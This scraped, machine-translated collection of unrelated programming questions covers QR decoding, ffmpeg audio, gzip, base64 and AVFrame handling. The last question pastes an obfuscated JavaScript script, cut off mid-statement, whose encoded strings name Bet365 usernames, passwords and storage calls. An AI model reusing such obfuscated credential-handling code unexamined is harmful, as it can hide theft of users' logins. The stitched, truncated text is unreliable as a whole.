我正在尝试读取 USB 相机获取的图像中的二维码。在其他帖子中,我读到最好的开源库是 ZXing。
如果二维码来自数字生成的图像,则库工作正常,但如果二维码来自图像由相机获取的真实情况,则解码库会遇到一些困难。
所获取的图像会受到一些眩光、代码变形或对比度缓慢的干扰。
您知道一些参数可以更好地设置阅读器吗?或者在详细说明之前添加一些过滤器到图像中?
例如:
BarcodeReader reader = new BarcodeReader();
reader.AutoRotate = true;
reader.Options.TryHarder = true;
reader.Options.PureBarcode = false;
reader.Options.PossibleFormats = new List<BarcodeFormat>();
reader.Options.PossibleFormats.Add(BarcodeFormat.QR_CODE);
var result = reader.Decode(image);
Run Code Online (Sandbox Code Playgroud)
谢谢
我使用 ffmpeg 的 avcodec 从我的 C++ 应用程序中的音乐文件中检索原始音频样本。对于我测试的文件,这些文件样本的字节序似乎是小字节序,但我想知道对于我尝试解码的所有文件是否总是如此(即来自 ffmpeg 的实现或至少它的体系结构 -具体是因为我的计算机的体系结构使用小字节序)。如果没有,我认为这将取决于特定文件的编码格式。在这种情况下,我如何检查我正在解码的每个文件适用哪种字节序?我在文档中找不到任何相关信息。
zlib
我正在尝试使用和解码 gzip 压缩的字符串jruby
。这是最小的工作示例。
require 'stringio'
require 'zlib'
str = 'H4sIAAAAAAAA/y2NwQrDIBAFfyXstUbWNWrir5RSrEoQUi2JOZSQf6+EHt8wzDtgKd7VVPIG9n7AMwWwYhj1MBkkwtEwcN7vq/NfsAo5MnhFt6Y8g71WcDXW9I5ggVCYHqlH0xE12RJ1N5SIwGBpJ3UPTVOKa41IssGS5z+Vhhs1SdHo9okxXPXzcf4AY45Ve6EAAAA='
input = StringIO.new(str)
puts Zlib::GzipReader.new(input).read
Run Code Online (Sandbox Code Playgroud)
这是我得到的输出
/Users/duke/.rvm/rubies/jruby-1.7.23/bin/jruby --1.9 -e $stdout.sync=true;$stderr.sync=true;load($0=ARGV.shift) /Users/duke/RubymineProjects/untitled/gzip_test.rb
Zlib::GzipFile::Error: not in gzip format
initialize at org/jruby/ext/zlib/JZlibRubyGzipReader.java:156
new at org/jruby/ext/zlib/JZlibRubyGzipReader.java:85
(root) at /Users/duke/RubymineProjects/untitled/gzip_test.rb:6
load at org/jruby/RubyKernel.java:1059
(root) at -e:1
Process finished with exit code 1
Run Code Online (Sandbox Code Playgroud)
gzip 压缩的字符串有效。您可以在这里尝试http://www.txtwizard.net/compression
我正在编写一个从设备接收 Base 64 字符串的程序。该字符串是一个编码的 json 文件,我想这样解释它。
\n\n如果我这样做(使用 python base64 库):
\n\ndecoded = base64.decodestring(base64str) \nprint(decoded) \n
Run Code Online (Sandbox Code Playgroud)\n\n然后它打印出一堆乱码,因为原始数据不是字符串,而是文件。
\n\n我可以看到乱码之间的文件名,所以我想我正确接收了数据,但需要将其直接解释为文件而不是字符串。
\n\n我环顾四周并没有成功。尝试将字符串保存到文件中显然只会将所有乱码保存到文件中
\n\n我将非常感谢您帮助如何做到这一点!
\n\n64 进制字符串:
\n\n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\n
Run Code Online (Sandbox Code Playgroud)\n\n“解码”的字符串:
\n\n!A ux o3d3xx.jsonUT \xef\xbf\xbdYmo\xef\xbf\xbd8\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdP \xef\xbf\xbd\xef\xbf\xbd\'\xef\xbf\xbd\xef\xbf\xbd6RyY\xef\xbf\xbd{\xef\xbf\xbd\xdd\xae\xef\xbf\xbdI m\xef\xbf\xbd\xef\xbf\xbdL\xd3\xae\xef\xbf\xbd\xef\xbf\xbd-\xef\xbf\xbd\xcc\xa8hp\xef\xbf\xbdf\xef\xbf\xbd X\xef\xbf\xbd[\xef\xbf\xbd/uK\xef\xbf\xbdG\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd#A;d\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdp\xce\x85l[r\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdL\xef\xbf\xbd\xef\xbf\xbd3\xef\xbf\xbd3\xef\xbf\xbd:\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd6\xef\xbf\xbds\xef\xbf\xbd\xef\xbf\xbd/\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdJ\xef\xbf\xbd\xda\xa0g\xef\xbf\xbd/?k\xef\xbf\xbd \xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd7h2\xef\xbf\xbd\xd5\xb36< \xef\xbf\xbd\xef\xbf\xbd\\\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd|\xef\xbf\xbd`d\xef\xbf\xbd9\xef\xbf\xbd!\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd:v\xef\xbf\xbd?siB\xef\xbf\xbd\xef\xbf\xbd/\xef\xbf\xbd/\xef\xbf\xbd\n /\xef\xbf\xbd\xef\xbf\xbd_\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdK,\xef\xbf\xbd`r\xef\xbf\xbdd4\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd{ J\xef\xbf\xbd \xef\xbf\xbd `\xef\xbf\xbd\xef\xbf\xbd#\xef\xbf\xbd\xef\xbf\xbd{4J\xef\xbf\xbd h#\xef\xbf\xbdp\xef\xbf\xbd$\xef\xbf\xbd\xef\xbf\xbds \xef\xbf\xbd\xef\xbf\xbd\xd4\x87Y\xef\xbf\xbd\xef\xbf\xbd\\\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdo\xef\xbf\xbdJ\xef\xbf\xbd:\xef\xbf\xbd\xef\xbf\xbd6\xef\xbf\xbd<wH\xef\xbf\xbdxR\xef\xbf\xbd\xef\xbf\xbd{,\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd \xef\xbf\xbd\xef\xbf\xbd,\xef\xbf\xbdu\xef\xbf\xbd\xef\xbf\xbd,\xef\xbf\xbd?J7W|@\xef\xbf\xbd i\xef\xbf\xbd\xe5\x93\x89K\xef\xbf\xbd$9\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd(\xef\xbf\xbdW\xef\xbf\xbd\xef\xbf\xbdqZ\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd-\xef\xbf\xbd\xef\xbf\xbdcu\xef\xbf\xbd\xef\xbf\xbd6s!\xef\xbf\xbd\xef\xbf\xbdP\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdY\xef\xbf\xbd6G\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdR\xef\xbf\xbdv\xef\xbf\xbd-;\xcc\x81B\xef\xbf\xbd\xef\xbf\xbd\xc4\xad\xef\xbf\xbdV\xdc\xaf7\xef\xbf\xbd\xef\xbf\xbd,\xef\xbf\xbd\xef\xbf\xbdy\xef\xbf\xbd,\xef\xbf\xbd\xcf\x88@1\xef\xbf\xbdzH~ \xef\xbf\xbd\xef\xbf\xbd8~.\xef\xbf\xbd\xef\xbf\xbd\'Q\xef\xbf\xbd\xef\xbf\xbd}\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd6\xef\xbf\xbd\xef\xbf\xbdH\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdZV(j7\xef\xbf\xbd`\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xa5\x8et\xef\xbf\xbd(\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd:\xef\xbf\xbdS\xef\xbf\xbd^\xef\xbf\xbd\xef\xbf\xbdo^t\xef\xbf\xbd\xef\xbf\xbdfl?I\xef\xbf\xbd\xef\xbf\xbd9N\xef\xbf\xbd,\xef\xbf\xbdG\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdA\xef\xbf\xbd\xc5\xb7 \xef\xbf\xbd\xef\xbf\xbda\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\\\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdNr\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdp\xef\xbf\xbd]\xda\x8d\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd \xef\xbf\xbd\xef\xbf\xbdR\xef\xbf\xbd,\xef\xbf\xbd\xef\xbf\xbdm@\xef\xbf\xbd\xef\xbf\xbdS\xef\xbf\xbdD\xef\xbf\xbd\xef\xbf\xbd9\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbduZ\xef\xbf\xbd4\xef\xbf\xbd,\xef\xbf\xbdr(,\xef\xbf\xbdE\xef\xbf\xbd\xd6\xabhCv@C\xef\xbf\xbdFIX\xef\xbf\xbd: \xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdZ\xef\xbf\xbd0\xef\xbf\xbd \xef\xbf\xbdz\xef\xbf\xbdfI /%\xef\xbf\xbd\xef\xbf\xbd5\xef\xbf\xbd \xef\xbf\xbdU\xef\xbf\xbd\xef\xbf\xbdo\xef\xbf\xbds\xef\xbf\xbd\'R\xef\xbf\xbdp\xef\xbf\xbdyT\xef\xbf\xbd\xef\xbf\xbdh.h8\xef\xbf\xbd.&\xef\xbf\xbdx\xef\xbf\xbd\xef\xbf\xbdQ/\xef\xbf\xbd\xef\xbf\xbd_\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\n \xef\xbf\xbdq\xef\xbf\xbd_\xef\x88\xb4\xef\xbf\xbd-\xef\xbf\xbd -\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd`F\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd)F]\xef\xbf\xbd \xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd \xef\xbf\xbd\xef\xbf\xbdtXU\xef\xbf\xbd*\xef\xbf\xbd`M\xef\xbf\xbd2\xef\xbf\xbdrBd2\xef\xbf\xbdDFx\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd3\xef\xbf\xbdA\xef\xbf\xbdh4jf\xef\xbf\xbdaK\xce\xa9\xef\xbf\xbdl3\xef\xbf\xbd:\xef\xbf\xbdd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd+\xef\xbf\xbd\xef\xbf\xbd!\xef\xbf\xbd4\xef\xbf\xbd\xef\xbf\xbdz\xef\xbf\xbd6\xef\xbf\xbdY8\xef\xbf\xbdN\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdu\xef\xbf\xbd\xef\xbf\xbd$#^\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd0:q\xef\xbf\xbd\xef\xbf\xbd#LHay\xef\xbf\xbdF\xef\xbf\xbd\xef\xbf\xbd%-\xef\xbf\xbdI\xef\xbf\xbdj^%M\xef\xbf\xbd\xef\xbf\xbdTHFc\xef\xbf\xbd\xef\xbf\xbduW}\xef\xbf\xbd;n}nuGc\xef\xbf\xbdS\xef\xbf\xbdk\xef\xbf\xbd\xef\xbf\xbdO\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdY\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd[\xef\xbf\xbd\xef\xbf\xbdV3\xef\xbf\xbd@)5O*\xef\xbf\xbd\xef\xbf\xbd/\xef\xbf\xbd9h\xd5\x9bO\xef\xbf\xbdvo0\n \xe2\xa0\x9e\xef\xbf\xbd\xdf\xb4\xef\xbf\xbdQ\xef\xbf\xbda\xef\xbf\xbd~\xef\xbf\xbd\xef\xbf\xbd|R\xef\xbf\xbda\xef\xbf\xbd^\xef\xbf\xbd<\xef\xbf\xbd\xc6\x876\xef\xbf\xbd\xef\xbf\xbd+\xc5\x8d\xef\xbf\xbd\xda\xa0\'\'\xef\xbf\xbd1s\xef\xbf\xbd+5\xef\xbf\xbd\xef\xbf\xbd+\xef\xbf\xbd\xef\xbf\xbd \xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd \xef\xbf\xbd\xdd\x80\xef\xbf\xbd7p\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd(\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdQ\xef\xbf\xbdH?<\xef\xbf\xbdDA\xef\xbf\xbd\xef\xbf\xbdQ\xef\xbf\xbd]EV\xef\xbf\xbdI\'P\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdT\xef\xbf\xbd>\xef\xbf\xbd\xef\xbf\xbd`j\xef\xbf\xbd c 4\xef\xbf\xbdA\xef\xbf\xbd\xef\xbf\xbdW>%\xef\xbf\xbd\xd8\x95\xef\xbf\xbd\xde\xad7\xef\xbf\xbd,7[\xef\xbf\xbd &\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdu?\xef\xbf\xbdLRz\xef\xbf\xbd~\xef\xbf\xbdq8<\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xd4\x89.\xef\xbf\xbd}\xef\xbf\xbd \xef\xbf\xbd.Q\xef\xbf\xbdY\\H\xef\xbf\xbdT\xd1\xbf+\xef\xbf\xbdK\xef\xbf\xbdR \xef\xbf\xbd0#\xef\xbf\xbd\xef\xbf\xbdfZ\xef\xbf\xbdfv\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd#W\xef\xbf\xbd9\xef\xbf\xbd\xef\xbf\xbdZM`\xef\xbf\xbdKV<\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd?u\xef\xbf\xbdM\xef\xbf\xbd\xef\xbf\xbdi\xca\x85G\xd4\xab#\xef\xbf\xbd!\xef\xbf\xbd@\xef\xbf\xbd\xef\xbf\xbdX\xef\xbf\xbd1z\xef\xbf\xbd|"V1\xef\xbf\xbd \xef\xbf\xbd\xef\xbf\xbdivP\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd. !\xef\xbf\xbdC.\xef\xbf\xbd!\xef\xbf\xbd g#d\xef\xbf\xbd\xef\xbf\xbd9$UhR\xef\xbf\xbdz\xef\xbf\xbdZ`\xef\xbf\xbd \xef\xbf\xbdO\xef\xbf\xbdX\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbda\xef\xbf\xbdld\xef\xbf\xbd\xef\xbf\xbd}\xef\xbf\xbd"\xef\xbf\xbd\n ({UxC\xef\xbf\xbd\xef\xbf\xbd+\xef\xbf\xbd\xef\xbf\xbd+\xef\xbf\xbd-\xe6\x9e\x84\xef\xbf\xbd=> \xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdg*\xef\xbf\xbd8xK\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\\\xef\xbf\xbdxY\xef\xbf\xbd3q4$/\xef\xbf\xbd\xc9\x85ZaO\xef\xbf\xbdy\xef\xbf\xbd\xef\xbf\xbdR\xef\xbf\xbd/2\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd>\xef\xbf\xbd\\\n=\xef\xbf\xbd\xef\xbf\xbdg\xef\xbf\xbd\xef\xbf\xbdh>0D\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdP\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdi\xef\xbf\xbdp\xef\xbf\xbd@\xef\xbf\xbdF\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd: f\xef\xbf\xbdR\xef\xbf\xbd\xef\xbf\xbd\'@V\xef\xbf\xbdK=a\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdM\xef\xbf\xbdz[\xef\xbf\xbdA\xef\xbf\xbdn\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdb\xef\xbf\xbdf\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd>Oj\xef\xbf\xbdA\xef\xbf\xbd4\xef\xbf\xbd\xef\xbf\xbdi\xef\xbf\xbd\xef\xbf\xbdr\xef\xbf\xbd(D\xef\xbf\xbdGim&\xef\xbf\xbdq\xef\xbf\xbd(Vi\\o]\xef\xbf\xbdJ\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdL\xd7\xa97\xef\xbf\xbdxE\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdt\xef\xbf\xbd\xef\xbf\xbdk\xef\xbf\xbdV\xef\xbf\xbd\xef\xbf\xbdJ\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdO\xef\xbf\xbd\xc3\x80\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdL,\xef\xbf\xbd&\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbduJ\xef\xbf\xbdqk\xef\xbf\xbd\xef\xbf\xbdMQ/Vn\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd;\xef\xbf\xbd\xef\xbf\xbdYe\xef\xbf\xbd\xef\xbf\xbdnF\xef\xbf\xbd \xef\xbf\xbd\xef\xbf\xbd!!\xef\xbf\xbd\xef\xbf\xbdf\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd_\xef\xbf\xbd\xef\xbf\xbd\n \xef\xbf\xbd?7\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdP\xef\xbf\xbd_ A!\xef\xbf\xbd_ A …
Run Code Online (Sandbox Code Playgroud) 在开始编写音频混合代码之前,我正在寻求有关 ffmpeg 如何在帧中存储解码的音频数据的说明。AVFrame
有int format
和uint8_t* data[]
成员。如果我的理解是正确的,那么在使用它之前应该将其中的字节data
转换为正确的类型。format
因此,要做一个简单的 2 倍级别提升 if format == AV_SAMPLE_FMT_S16
,我会:
int16_t* audio_samples = frame->data[0];
int num_samples = frame->nb_samples * frame->channels;
for (int i = 0; i < num_samples; ++i) {
audio_samples[i] = audio_samples[i] * 2;
}
Run Code Online (Sandbox Code Playgroud)
这是正确的处理方式吗?
我得到的这个脚本似乎被混淆了,并且原始程序员无法访问。我尝试了很多方法来解码它,但我得到的最好的方法是没有多大意义的变量和函数。
有人可以为我提供一些帮助吗?
var _0x1b5a=['\x74\x61\x62\x6c\x65','\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20','\x70\x6a\x75\x66\x4a','\x74\x72\x61\x63\x65','\x69\x6e\x66\x6f','\x53\x48\x45\x61\x61','\x61\x70\x65\x6c\x69\x64\x6f','\x6c\x6f\x67\x67\x65\x64','\x71\x74\x64\x55\x73\x75\x61\x72\x69\x6f\x73\x4f\x6e\x6c\x69\x6e\x65','\x4c\x70\x6a\x55\x72','\x63\x6f\x6e\x6e\x65\x63\x74\x65\x64','\x74\x65\x6c\x61','\x41\x53\x75\x51\x51','\x4f\x4d\x78\x61\x55','\x5e\x28\x5b\x5e\x20\x5d\x2b\x28\x20\x2b\x5b\x5e\x20\x5d\x2b\x29\x2b\x29\x2b\x5b\x5e\x20\x5d\x7d','\x33\x7c\x30\x7c\x37\x7c\x32\x7c\x35\x7c\x31\x7c\x34\x7c\x36','\x65\x72\x72\x6f','\x73\x61\x6c\x76\x61\x72','\x76\x65\x72\x73\x61\x6f\x43\x6c\x61\x73\x73','\x48\x71\x4d\x72\x4a','\x65\x7a\x61\x45\x4e','\x63\x6f\x6e\x73\x6f\x6c\x65','\x70\x72\x65\x76\x65\x6e\x74\x44\x65\x66\x61\x75\x6c\x74','\x73\x65\x6e\x68\x61\x42\x65\x74\x33\x36\x35','\x31\x7c\x33\x7c\x32\x7c\x34\x7c\x30','\x77\x61\x72\x6e','\x76\x65\x72\x73\x69\x6f\x6e','\x76\x65\x72\x73\x61\x6f','\x73\x74\x61\x74\x75\x73','\x74\x63\x55\x56\x72','\x61\x70\x70\x6c\x79','\x73\x65\x6e\x64\x4d\x65\x73\x73\x61\x67\x65','\x64\x6f\x4c\x6f\x67\x6f\x75\x74','\x67\x65\x74','\x69\x73\x45\x6e\x76\x69\x61\x6e\x64\x6f\x46\x6f\x72\x6d','\x66\x71\x53\x4d\x61','\x63\x6f\x6e\x66\x69\x67\x43\x61\x73\x61\x41\x70\x6f\x73\x74\x61','\x6c\x6c\x72\x71\x71','\x79\x62\x63\x69\x4b','\x73\x76\x77\x4a\x72','\x72\x75\x6e\x74\x69\x6d\x65','\x77\x79\x79\x52\x64','\x5a\x4a\x4e\x56\x7a','\x73\x70\x6c\x69\x74','\x73\x74\x6f\x72\x61\x67\x65','\x76\x61\x6c\x6f\x72\x55\x6e\x69\x64\x61\x64\x65\x42\x65\x74\x33\x36\x35','\x65\x72\x72\x6f\x72','\x65\x6d\x61\x69\x6c','\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65','\x23\x6d\x61\x69\x6e','\x63\x54\x54\x77\x45','\x73\x65\x6e\x68\x61','\x64\x65\x62\x75\x67','\x72\x65\x74\x75\x72\x6e\x20\x2f\x22\x20\x2b\x20\x74\x68\x69\x73\x20\x2b\x20\x22\x2f','\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72','\x6c\x6f\x67','\x74\x69\x70\x6f\x55\x73\x65\x72','\x65\x78\x63\x65\x70\x74\x69\x6f\x6e','\x6f\x6e\x6c\x6f\x61\x64','\x4c\x49\x55\x59\x76','\x53\x66\x70\x69\x77','\x45\x59\x7a\x48\x6f','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29','\x6d\x73\x67','\x65\x6e\x76\x69\x61\x6e\x64\x6f\x46\x6f\x72\x6d','\x49\x46\x4a\x50\x6b','\x64\x61\x74\x61','\x74\x41\x55\x55\x4f','\x63\x6f\x6e\x66\x69\x67','\x67\x65\x74\x4d\x61\x6e\x69\x66\x65\x73\x74','\x6b\x65\x79\x43\x6f\x64\x65','\x75\x73\x75\x61\x72\x69\x6f\x42\x65\x74\x33\x36\x35'];(function(_0x16ab9f,_0x1b5a7a){var _0x2ba715=function(_0x5cec0c){while(--_0x5cec0c){_0x16ab9f['push'](_0x16ab9f['shift']());}};var _0x1af375=function(){var _0xdd7ef1={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x243201,_0x564c0f,_0x1228c2,_0xf84db7){_0xf84db7=_0xf84db7||{};var _0x216cfb=_0x564c0f+'='+_0x1228c2;var _0x140083=0x0;for(var _0xc0ade0=0x0,_0x206be6=_0x243201['length'];_0xc0ade0<_0x206be6;_0xc0ade0++){var _0x3fe404=_0x243201[_0xc0ade0];_0x216cfb+=';\x20'+_0x3fe404;var _0x51f2c6=_0x243201[_0x3fe404];_0x243201['push'](_0x51f2c6);_0x206be6=_0x243201['length'];if(_0x51f2c6!==!![]){_0x216cfb+='='+_0x51f2c6;}}_0xf84db7['cookie']=_0x216cfb;},'removeCookie':function(){return'dev';},'getCookie':function(_0x58d2f1,_0x19b3fc){_0x58d2f1=_0x58d2f1||function(_0x158582){return _0x158582;};var _0x1ae707=_0x58d2f1(new RegExp('(?:^|;\x20)'+_0x19b3fc['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var _0x4e5b62=function(_0x12d18a,_0x28a461){_0x12d18a(++_0x28a461);};_0x4e5b62(_0x2ba715,_0x1b5a7a);return _0x1ae707?decodeURIComponent(_0x1ae707[0x1]):undefined;}};var _0x44a2e0=function(){var _0x32210f=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x32210f['test'](_0xdd7ef1['removeCookie']['toString']());};_0xdd7ef1['updateCookie']=_0x44a2e0;var _0x32ceda='';var _0x5638a9=_0xdd7ef1['updateCookie']();if(!_0x5638a9){_0xdd7ef1['setCookie'](['*'],'counter',0x1);}else 